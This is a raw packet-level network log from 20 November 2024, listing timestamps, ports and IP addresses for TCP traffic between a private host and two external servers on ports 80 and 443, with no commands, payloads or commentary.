Nov 20, 2024 08:12:36.043112040 CET	49839	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.043587923 CET	49839	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.043603897 CET	443	49839	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.061026096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.061039925 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.061088085 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.061139107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.061150074 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.061156988 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.061192036 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.061227083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.061239958 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.061278105 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.061964035 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062091112 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.062120914 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062163115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062175035 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062225103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.062226057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062324047 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.062750101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062807083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062817097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062911034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062923908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.062942982 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.062983036 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.063676119 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.063715935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.063725948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.063751936 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.063776970 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.063806057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.063817978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.063896894 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.064589024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.065978050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.066375971 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.179879904 CET	443	49835	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.194689035 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.194716930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.194730043 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.194782019 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.194783926 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.194797039 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.194881916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.194894075 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.194910049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.194919109 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.194919109 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.195000887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195010900 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.195014000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195106030 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.195205927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195238113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195249081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195359945 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.195388079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195399046 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195410013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195422888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195435047 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.195523024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195560932 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.195560932 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.195836067 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195884943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195894957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.195935011 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.196065903 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196110964 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.196113110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196125984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196252108 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196264982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196279049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196290016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196295023 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.196343899 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.196343899 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.196423054 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196434021 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196446896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196544886 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.196578979 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.196578979 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.196990967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197024107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197036028 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197101116 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.197168112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197180033 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197191000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197202921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197215080 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.197304010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197315931 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197335958 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197338104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.197338104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.197350025 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197416067 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.197891951 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197942972 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.197956085 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.198004007 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.198004007 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.199182034 CET	49835	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.199198008 CET	443	49835	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.220969915 CET	49835	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.220978975 CET	443	49835	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.322261095 CET	443	49835	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.322334051 CET	443	49835	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.322556973 CET	49835	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.322705984 CET	49835	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.322705984 CET	49835	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.322726965 CET	443	49835	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.322736025 CET	443	49835	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.326452971 CET	49840	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.326478958 CET	443	49840	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.326550007 CET	49840	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.326944113 CET	49840	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.326952934 CET	443	49840	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.341500044 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.341516972 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.341780901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.341803074 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.341809034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.341865063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.341865063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.341875076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.341892004 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.341970921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342006922 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342006922 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342062950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342073917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342158079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342221975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342233896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342257023 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342257023 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342298031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342310905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342427969 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342462063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342462063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342499018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342513084 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342586040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342597008 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342609882 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342634916 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342634916 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342731953 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342745066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342756033 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.342804909 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342804909 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.342952013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343018055 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343029022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343139887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343152046 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343163013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343183994 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.343183994 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.343306065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343358994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343369961 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343406916 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.343406916 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.343487978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343498945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343512058 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343523979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343564987 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.343564987 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.343612909 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343658924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343671083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343714952 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.343714952 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.343867064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343925953 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.343939066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344055891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344067097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344079971 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344091892 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344104052 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.344104052 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.344186068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344269991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344284058 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344295979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344306946 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.344306946 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.344310045 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344325066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344336987 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344347954 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.344347954 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.344540119 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344820023 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344854116 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.344854116 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.344861031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344872952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.344966888 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.344996929 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345010042 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345021963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345035076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345073938 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.345073938 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.345130920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345235109 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345247030 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345259905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345271111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345283031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345294952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345308065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345309019 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.345309019 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.345345974 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.345345974 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.345762014 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345805883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345817089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345938921 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345949888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345963001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.345974922 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.345974922 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.345976114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.346117020 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.346128941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.346146107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.346158981 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.346158981 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.347485065 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.428273916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428303957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428316116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428499937 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.428595066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428637981 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428648949 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428684950 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.428684950 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.428730011 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428742886 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428755999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428767920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428774118 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.428870916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428903103 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.428932905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.428946018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.429017067 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.429028988 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.429047108 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.429128885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475157022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475187063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475198030 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475245953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475245953 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475296021 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475306988 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475328922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475339890 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475389004 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475389004 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475486040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475497007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475509882 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475519896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475570917 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475570917 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475641012 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475651979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475662947 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475676060 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475712061 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475712061 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475788116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475807905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475820065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475934029 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475944996 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475955963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475975990 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.475975990 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475975990 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.475991964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476003885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476025105 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476025105 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476222038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476233959 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476254940 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476269007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476280928 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476291895 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476306915 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476306915 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476452112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476496935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476496935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476553917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476564884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476577044 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476588964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476600885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476614952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476625919 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476625919 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476697922 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476860046 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476871967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476882935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476895094 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476907015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476912975 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476919889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476933002 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476943970 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.476957083 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.476957083 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.477003098 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.477176905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.477189064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.477210045 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.477221966 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.477232933 CET	80	49833	185.215.113.16	192.168.2.6
